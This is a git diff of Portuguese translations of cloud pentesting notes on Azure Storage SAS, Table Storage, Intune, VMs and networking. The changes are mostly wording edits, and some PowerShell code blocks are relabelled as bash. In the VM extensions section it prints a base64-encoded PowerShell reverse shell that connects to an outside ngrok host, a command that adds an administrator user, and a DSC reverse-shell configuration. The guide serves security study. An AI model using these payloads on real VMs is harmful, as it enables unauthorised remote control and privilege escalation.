- **SAS de delegação de usuário**: Isso é criado a partir de um **principal do Entra ID** que assinará o SAS e delegará as permissões do usuário para o SAS. Pode ser usado apenas com **armazenamento de blob e data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS de delegação de usuário gerados.
- **SAS de delegação de usuário**: Isso é criado a partir de um **principal do Entra ID** que assinará o SAS e delegará as permissões do usuário para o SAS. Pode ser usado apenas com **armazenamento de blob e data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS delegados gerados pelo usuário.
- Mesmo que seja possível gerar um SAS de delegação com "mais" permissões do que as que o usuário possui. No entanto, se o principal não as tiver, não funcionará (sem privesc).
- **SAS de serviço**: Isso é assinado usando uma das **chaves de acesso** da conta de armazenamento. Pode ser usado para conceder acesso a recursos específicos em um único serviço de armazenamento. Se a chave for renovada, o SAS deixará de funcionar.
- **SAS de conta**: Também é assinado com uma das **chaves de acesso** da conta de armazenamento. Concede acesso a recursos em serviços de conta de armazenamento (Blob, Queue, Table, File) e pode incluir operações em nível de serviço.
@@ -161,10 +161,10 @@ Uma URL SAS assinada como uma **delegação de usuário** se parece com isso:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Note alguns **http params**:
Note alguns **parâmetros http**:
- O **`se`** param indica a **data de expiração** do SAS
- O **`sp`** param indica as **permissões** do SAS
- O parâmetro **`se`** indica a **data de expiração** do SAS
- O parâmetro **`sp`** indica as **permissões** do SAS
- O **`sig`** é a **assinatura** que valida o SAS
#### Permissões do SAS
@@ -175,7 +175,7 @@ Ao gerar um SAS, é necessário indicar as permissões que ele deve conceder. De
## Suporte a SFTP para Azure Blob Storage
O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH (SFTP), permitindo a transferência e gerenciamento seguro de arquivos diretamente para o Blob Storage sem exigir soluções personalizadas ou produtos de terceiros.
O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH (SFTP), permitindo transferência e gerenciamento seguro de arquivos diretamente para o Blob Storage sem exigir soluções personalizadas ou produtos de terceiros.
### Principais Recursos
@@ -183,7 +183,7 @@ O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH
- Segurança: O SFTP usa identidades de usuários locais para autenticação e não se integra com RBAC ou ABAC. Cada usuário local pode se autenticar via:
- Senhas geradas pelo Azure
- Pares de chaves SSH pública-privada
- Permissões Granulares: Permissões como Ler, Escrever, Deletar e Listar podem ser atribuídas a usuários locais para até 100 contêineres.
- Permissões Granulares: Permissões como Ler, Gravar, Excluir e Listar podem ser atribuídas a usuários locais para até 100 contêineres.
- Considerações de Rede: Conexões SFTP são feitas através da porta 22. O Azure suporta configurações de rede como firewalls, endpoints privados ou redes virtuais para proteger o tráfego SFTP.
### Requisitos de Configuração
@@ -193,19 +193,19 @@ O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH
- Configuração do SFTP:
- Habilitar SFTP na conta de armazenamento.
- Criar identidades de usuários locais com permissões apropriadas.
- Configurar diretórios iniciais para usuários definirem sua localização inicial dentro do contêiner.
- Configurar diretórios pessoais para usuários definirem sua localização inicial dentro do contêiner.
### Permissões
| Permissão | Símbolo | Descrição |
| ---------------------- | ------ | ------------------------------------ |
| **Ler** | `r` | Ler o conteúdo do arquivo. |
| **Escrever** | `w` | Fazer upload de arquivos e criar diretórios. |
| **Gravar** | `w` | Fazer upload de arquivos e criar diretórios. |
| **Listar** | `l` | Listar conteúdos de diretórios. |
| **Deletar** | `d` | Deletar arquivos ou diretórios. |
| **Excluir** | `d` | Excluir arquivos ou diretórios. |
| **Criar** | `c` | Criar arquivos ou diretórios. |
| **Modificar Propriedade** | `o` | Mudar o usuário ou grupo proprietário. |
| **Modificar Permissões** | `p` | Mudar ACLs em arquivos ou diretórios. |
| **Modificar Propriedade** | `o` | Alterar o usuário ou grupo proprietário. |
| **Modificar Permissões** | `p` | Alterar ACLs em arquivos ou diretórios. |
## Enumeração
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account

14
src/pentesting-cloud/azure-security/az-services/az-table-storage.md
View File

@@ -4,7 +4,7 @@
## Informações Básicas
**Azure Table Storage** é um armazenamento NoSQL de chave-valor projetado para armazenar grandes volumes de dados estruturados e não relacionais. Ele oferece alta disponibilidade, baixa latência e escalabilidade para lidar com grandes conjuntos de dados de forma eficiente. Os dados são organizados em tabelas, com cada entidade identificada por uma chave de partição e uma chave de linha, permitindo buscas rápidas. Suporta recursos como criptografia em repouso, controle de acesso baseado em função e assinaturas de acesso compartilhado para armazenamento seguro e gerenciado, adequado para uma ampla gama de aplicações.
**Azure Table Storage** é um armazenamento NoSQL de chave-valor projetado para armazenar grandes volumes de dados estruturados e não relacionais. Oferece alta disponibilidade, baixa latência e escalabilidade para lidar com grandes conjuntos de dados de forma eficiente. Os dados são organizados em tabelas, com cada entidade identificada por uma chave de partição e uma chave de linha, permitindo buscas rápidas. Suporta recursos como criptografia em repouso, controle de acesso baseado em função e assinaturas de acesso compartilhado para armazenamento seguro e gerenciado, adequado para uma ampla gama de aplicações.
Não **existe um mecanismo de backup embutido** para o armazenamento de tabelas.
@@ -12,19 +12,19 @@ Não **existe um mecanismo de backup embutido** para o armazenamento de tabelas.
#### **PartitionKey**
- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho de consultas e escalabilidade.
- Exemplo: Em uma tabela que armazena dados de funcionários, `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`.
- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho das consultas e a escalabilidade.
- Exemplo: Em uma tabela que armazena dados de funcionários, o `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`.
#### **RowKey**
- O **RowKey é o identificador único** para uma entidade dentro de uma partição. Quando combinado com o PartitionKey, garante que cada entidade na tabela tenha um identificador globalmente único.
- Exemplo: Para a partição `"RH"`, `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`.
- Exemplo: Para a partição `"RH"`, o `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`.
#### **Outras Propriedades (Propriedades Personalizadas)**
- Além do PartitionKey e RowKey, uma entidade pode ter **propriedades personalizadas adicionais para armazenar dados**. Estas são definidas pelo usuário e atuam como colunas em um banco de dados tradicional.
- As propriedades são armazenadas como **pares chave-valor**.
- Exemplo: `Nome`, `Idade`, `Título` poderiam ser propriedades personalizadas para um funcionário.
- Exemplo: `Nome`, `Idade`, `Título` podem ser propriedades personalizadas para um funcionário.
## Enumeração
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount
@@ -77,7 +77,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
> Por padrão, o `az` cli usará uma chave de conta para assinar uma chave e realizar a ação. Para usar os privilégios do principal do Entra ID, use os parâmetros `--auth-mode login`.
> [!TIP]
> Use o parâmetro `--account-key` para indicar a chave de conta a ser usada\
> Use o parâmetro `--account-key` para indicar a chave da conta a ser usada\
> Use o parâmetro `--sas-token` com o token SAS para acessar via um token SAS
## Escalação de Privilégios

6
src/pentesting-cloud/azure-security/az-services/intune.md
View File

@@ -4,17 +4,17 @@
## Informações Básicas
Microsoft Intune é projetado para simplificar o processo de **gerenciamento de aplicativos e dispositivos**. Suas capacidades se estendem por uma ampla gama de dispositivos, abrangendo dispositivos móveis, computadores de mesa e pontos finais virtuais. A funcionalidade central do Intune gira em torno de **gerenciar o acesso do usuário e simplificar a administração de aplicativos** e dispositivos dentro da rede de uma organização.
Microsoft Intune é projetado para simplificar o processo de **gerenciamento de aplicativos e dispositivos**. Suas capacidades se estendem por uma ampla gama de dispositivos, abrangendo dispositivos móveis, computadores de mesa e pontos finais virtuais. A funcionalidade principal do Intune gira em torno de **gerenciar o acesso do usuário e simplificar a administração de aplicativos** e dispositivos dentro da rede de uma organização.
## Nuvem -> Local
Um usuário com o papel de **Administrador Global** ou **Administrador do Intune** pode executar **scripts PowerShell** em qualquer **dispositivo Windows** registrado.\
O **script** é executado com **privilégios** de **SYSTEM** no dispositivo apenas uma vez, se não mudar, e a partir do Intune **não é possível ver a saída** do script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Faça login em [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ou use Pass-The-PRT
2. Vá para **Dispositivos** -> **Todos os Dispositivos** para verificar os dispositivos registrados no Intune
2. Vá para **Dispositivos** -> **Todos os Dispositivos** para verificar os dispositivos inscritos no Intune
3. Vá para **Scripts** e clique em **Adicionar** para Windows 10.
4. Adicione um **script Powershell**
- ![](<../../../images/image (264).png>)

38
src/pentesting-cloud/azure-security/az-services/vms/README.md
View File

@@ -33,25 +33,25 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív
- **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão:
- Porcentagem de CPU é maior que 80%
- Bytes de Memória Disponível é menor que 1GB
- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95%
- Porcentagem de IOPS do SO Consumidos é maior que 95%
- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95%
- Porcentagem de IOPS Consumidos do SO é maior que 95%
- Rede Total é maior que 500GB
- Rede Saída Total é maior que 200GB
- Métrica de Disponibilidade da VM é menor que 1
- VmAvailabilityMetric é menor que 1
- **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80
- **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**).
- A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas...
- Os bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura**
- Bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura**
## Discos & instantâneas
- É possível **habilitar a anexação de um disco a 2 ou mais VMs**
- Por padrão, cada disco é **criptografado** com uma chave da plataforma.
- O mesmo se aplica às instantâneas
- O mesmo se aplica a instantâneas
- Por padrão, é possível **compartilhar o disco de todas as redes**, mas também pode ser **restrito** a apenas certos **acessos privados** ou **desativar completamente** o acesso público e privado.
- O mesmo se aplica às instantâneas
- O mesmo se aplica a instantâneas
- É possível **gerar um URI SAS** (de no máximo 60 dias) para **exportar o disco**, que pode ser configurado para exigir autenticação ou não
- O mesmo se aplica às instantâneas
- O mesmo se aplica a instantâneas
{{#tabs}}
{{#tab name="az cli"}}
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -509,7 +509,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute reverse shell a partir de um arquivo
- Execute reverse shell a partir de arquivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -523,7 +523,7 @@ az vm extension set \
Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Redefinir senha usando a extensão VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ A permissão necessária ainda é **`Microsoft.Compute/virtualMachines/extension
<summary>Extensão VMAccess</summary>
Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -601,7 +601,7 @@ Set-AzVMDscExtension `
<details>
<summary>Trabalhador de Runbook Híbrido</summary>
<summary>Hybrid Runbook Worker</summary>
Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o [serviço de Contas de Automação](../az-automation-account/index.html).
@@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad
É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:
- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados.
- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml`
- **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
- **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
- Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.

68
src/pentesting-cloud/azure-security/az-services/vms/az-azure-network.md
View File

@@ -11,7 +11,7 @@ Além disso, é possível **conectar** VNets com outras VNets e com redes locais
Uma Rede Virtual do Azure (VNet) é uma representação da sua própria rede na nuvem, proporcionando **isolamento lógico** dentro do ambiente Azure dedicado à sua assinatura. VNets permitem que você provisiona e gerencie redes privadas virtuais (VPNs) no Azure, hospedando recursos como Máquinas Virtuais (VMs), bancos de dados e serviços de aplicativos. Elas oferecem **controle total sobre as configurações de rede**, incluindo faixas de endereços IP, criação de sub-redes, tabelas de roteamento e gateways de rede.
**Sub-redes** são subdivisões dentro de uma VNet, definidas por faixas de **endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de acordo com sua arquitetura de rede.\
**Sub-redes** são subdivisões dentro de uma VNet, definidas por **faixas de endereços IP** específicas. Ao segmentar uma VNet em várias sub-redes, você pode organizar e proteger recursos de acordo com sua arquitetura de rede.\
Por padrão, todas as sub-redes dentro da mesma Rede Virtual do Azure (VNet) **podem se comunicar entre si** sem restrições.
**Exemplo:**
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -56,7 +56,7 @@ Os NSGs podem ser associados a **sub-redes e NICs.**
**Exemplo de regras:**
- Uma regra de entrada permitindo tráfego HTTP (porta 80) de qualquer origem para seus servidores web.
- Uma regra de saída permitindo apenas tráfego SQL (porta 1433) para um intervalo de endereços IP de destino específico.
- Uma regra de saída permitindo apenas tráfego SQL (porta 1433) para um intervalo específico de endereços IP de destino.
### Enumeração
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
O Azure Firewall é um **serviço de segurança de rede gerenciado** no Azure que protege recursos em nuvem inspecionando e controlando o tráfego. É um **firewall com estado** que filtra o tráfego com base em regras para as Camadas 3 a 7, suportando comunicação tanto **dentro do Azure** (tráfego leste-oeste) quanto **para/de redes externas** (tráfego norte-sul). Implantado no **nível da Rede Virtual (VNet)**, fornece proteção centralizada para todas as sub-redes na VNet. O Azure Firewall escala automaticamente para lidar com as demandas de tráfego e garante alta disponibilidade sem exigir configuração manual.
Azure Firewall é um **serviço de segurança de rede gerenciado** no Azure que protege recursos em nuvem inspecionando e controlando o tráfego. É um **firewall com estado** que filtra o tráfego com base em regras para as Camadas 3 a 7, suportando comunicação tanto **dentro do Azure** (tráfego leste-oeste) quanto **para/de redes externas** (tráfego norte-sul). Implantado no **nível da Rede Virtual (VNet)**, fornece proteção centralizada para todas as sub-redes na VNet. O Azure Firewall escala automaticamente para lidar com as demandas de tráfego e garante alta disponibilidade sem exigir configuração manual.
Está disponível em três SKUs—**Básico**, **Padrão** e **Premium**, cada um adaptado para necessidades específicas dos clientes:
| **Caso de Uso Recomendado** | Pequenas/Médias Empresas (PMEs) com necessidades limitadas | Uso geral em empresas, filtragem de Camadas 3–7 | Ambientes altamente sensíveis (por exemplo, processamento de pagamentos) |
| ------------------------------ | --------------------------------------------------------- | ------------------------------------------------ | --------------------------------------------------------- |
| **Desempenho** | Até 250 Mbps de throughput | Até 30 Gbps de throughput | Até 100 Gbps de throughput |
| **Inteligência de Ameaças** | Alertas apenas | Alertas e bloqueio (IPs/domínios maliciosos) | Alertas e bloqueio (inteligência de ameaças avançada) |
| **Filtragem L3–L7** | Filtragem básica | Filtragem com estado em todos os protocolos | Filtragem com estado com inspeção avançada |
| **Inteligência de Ameaças** | Apenas alertas | Alertas e bloqueio (IPs/domínios maliciosos) | Alertas e bloqueio (inteligência de ameaças avançada) |
| **Filtragem L3–L7** | Filtragem básica | Filtragem com estado em todos os protocolos | Filtragem com estado com inspeção avançada |
| **Proteção Avançada contra Ameaças** | Não disponível | Filtragem baseada em inteligência de ameaças | Inclui Sistema de Detecção e Prevenção de Intrusões (IDPS) |
| **Inspeção TLS** | Não disponível | Não disponível | Suporta terminação TLS de entrada/saída |
| **Disponibilidade** | Backend fixo (2 VMs) | Escalonamento automático | Escalonamento automático |
| **Facilidade de Gerenciamento**| Controles básicos | Gerenciado via Firewall Manager | Gerenciado via Firewall Manager |
| **Inspeção TLS** | Não disponível | Não disponível | Suporta terminação TLS de entrada/saída |
| **Disponibilidade** | Backend fixo (2 VMs) | Escalonamento automático | Escalonamento automático |
| **Facilidade de Gerenciamento**| Controles básicos | Gerenciado via Firewall Manager | Gerenciado via Firewall Manager |
### Enumeração
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -142,7 +142,7 @@ Get-AzFirewall
## Tabelas de Roteamento do Azure
As **Tabelas de Roteamento** do Azure são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou o Azure Firewall. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela.
As **Tabelas de Roteamento** do Azure são usadas para controlar o roteamento do tráfego de rede dentro de uma sub-rede. Elas definem regras que especificam como os pacotes devem ser encaminhados, seja para recursos do Azure, para a internet ou para um próximo salto específico, como um Appliance Virtual ou Firewall do Azure. Você pode associar uma tabela de roteamento a uma **sub-rede**, e todos os recursos dentro dessa sub-rede seguirão as rotas na tabela.
**Exemplo:** Se uma sub-rede hospeda recursos que precisam rotear o tráfego de saída através de um Appliance Virtual de Rede (NVA) para inspeção, você pode criar uma **rota** em uma tabela de roteamento para redirecionar todo o tráfego (por exemplo, `0.0.0.0/0`) para o endereço IP privado do NVA como o próximo salto.
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -167,25 +167,7 @@ Get-AzRouteTable
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
```
{{#endtab }}
{{#endtabs }}
## Azure Private Link
Azure Private Link é um serviço no Azure que **permite acesso privado a serviços do Azure** garantindo que **o tráfego entre sua rede virtual do Azure (VNet) e o serviço transite inteiramente dentro da rede backbone do Azure da Microsoft**. Ele efetivamente traz o serviço para sua VNet. Essa configuração aumenta a segurança ao não expor os dados à internet pública.
Private Link pode ser usado com vários serviços do Azure, como Azure Storage, Azure SQL Database e serviços personalizados compartilhados via Private Link. Ele fornece uma maneira segura de consumir serviços de dentro de sua própria VNet ou até mesmo de diferentes assinaturas do Azure.
> [!CAUTION]
> NSGs não se aplicam a endpoints privados, o que claramente significa que associar um NSG a uma sub-rede que contém o Private Link não terá efeito.
**Exemplo:**
Considere um cenário onde você tem um **Azure SQL Database que deseja acessar de forma segura a partir de sua VNet**. Normalmente, isso poderia envolver a travessia da internet pública. Com o Private Link, você pode criar um **endpoint privado em sua VNet** que se conecta diretamente ao serviço Azure SQL Database. Esse endpoint faz com que o banco de dados pareça parte de sua própria VNet, acessível via um endereço IP privado, garantindo assim acesso seguro e privado.
### **Enumeração**
{{#tabs }}
{{#tab name="az cli" }}
{{
```bash
# List Private Link Services
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
@@ -195,7 +177,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -226,7 +208,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -268,7 +250,7 @@ Em resumo, enquanto ambos os Endpoints de Serviço e Links Privados fornecem con
**Exemplo:**
Imagine que você tem uma aplicação distribuída globalmente com usuários em todo o mundo. Você pode usar o Azure Front Door para **rotear solicitações de usuários para o data center regional mais próximo** que hospeda sua aplicação, reduzindo assim a latência, melhorando a experiência do usuário e **defendendo-a de ataques web com as capacidades do WAF**. Se uma região específica sofrer uma interrupção, o Azure Front Door pode automaticamente redirecionar o tráfego para a próxima melhor localização, garantindo alta disponibilidade.
Imagine que você tem uma aplicação distribuída globalmente com usuários em todo o mundo. Você pode usar o Azure Front Door para **rotear solicitações de usuários para o data center regional mais próximo** que hospeda sua aplicação, reduzindo assim a latência, melhorando a experiência do usuário e **defendendo-a contra ataques web com as capacidades do WAF**. Se uma região específica sofrer uma interrupção, o Azure Front Door pode automaticamente redirecionar o tráfego para a próxima melhor localização, garantindo alta disponibilidade.
### Enumeração
@@ -283,7 +265,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -295,7 +277,7 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
## Azure Application Gateway e Azure Application Gateway WAF
Azure Application Gateway é um **balanceador de carga de tráfego web** que permite gerenciar o tráfego para suas **aplicações** web. Ele oferece **balanceamento de carga de Camada 7, terminação SSL e capacidades de firewall de aplicação web (WAF)** no Controlador de Entrega de Aplicação (ADC) como um serviço. As principais características incluem roteamento baseado em URL, afinidade de sessão baseada em cookie e descarregamento de camada de soquete seguro (SSL), que são cruciais para aplicações que requerem capacidades complexas de balanceamento de carga, como roteamento global e roteamento baseado em caminho.
Azure Application Gateway é um **balanceador de carga de tráfego web** que permite gerenciar o tráfego para suas **aplicações** web. Ele oferece **balanceamento de carga de Camada 7, terminação SSL e capacidades de firewall de aplicação web (WAF)** no Application Delivery Controller (ADC) como um serviço. As principais características incluem roteamento baseado em URL, afinidade de sessão baseada em cookie e descarregamento de camada de soquete seguro (SSL), que são cruciais para aplicações que requerem capacidades complexas de balanceamento de carga, como roteamento global e roteamento baseado em caminho.
**Exemplo:**
@@ -312,7 +294,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -326,11 +308,11 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**Azure Hub e Spoke** é uma topologia de rede usada no Azure para gerenciar e organizar o tráfego de rede. **O "hub" é um ponto central que controla e roteia o tráfego entre diferentes "spokes"**. O hub normalmente contém serviços compartilhados, como appliances virtuais de rede (NVAs), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Os **"spokes" são VNets que hospedam cargas de trabalho e se conectam ao hub usando peering de VNet**, permitindo que aproveitem os serviços compartilhados dentro do hub. Este modelo promove um layout de rede limpo, reduzindo a complexidade ao centralizar serviços comuns que várias cargas de trabalho em diferentes VNets podem usar.
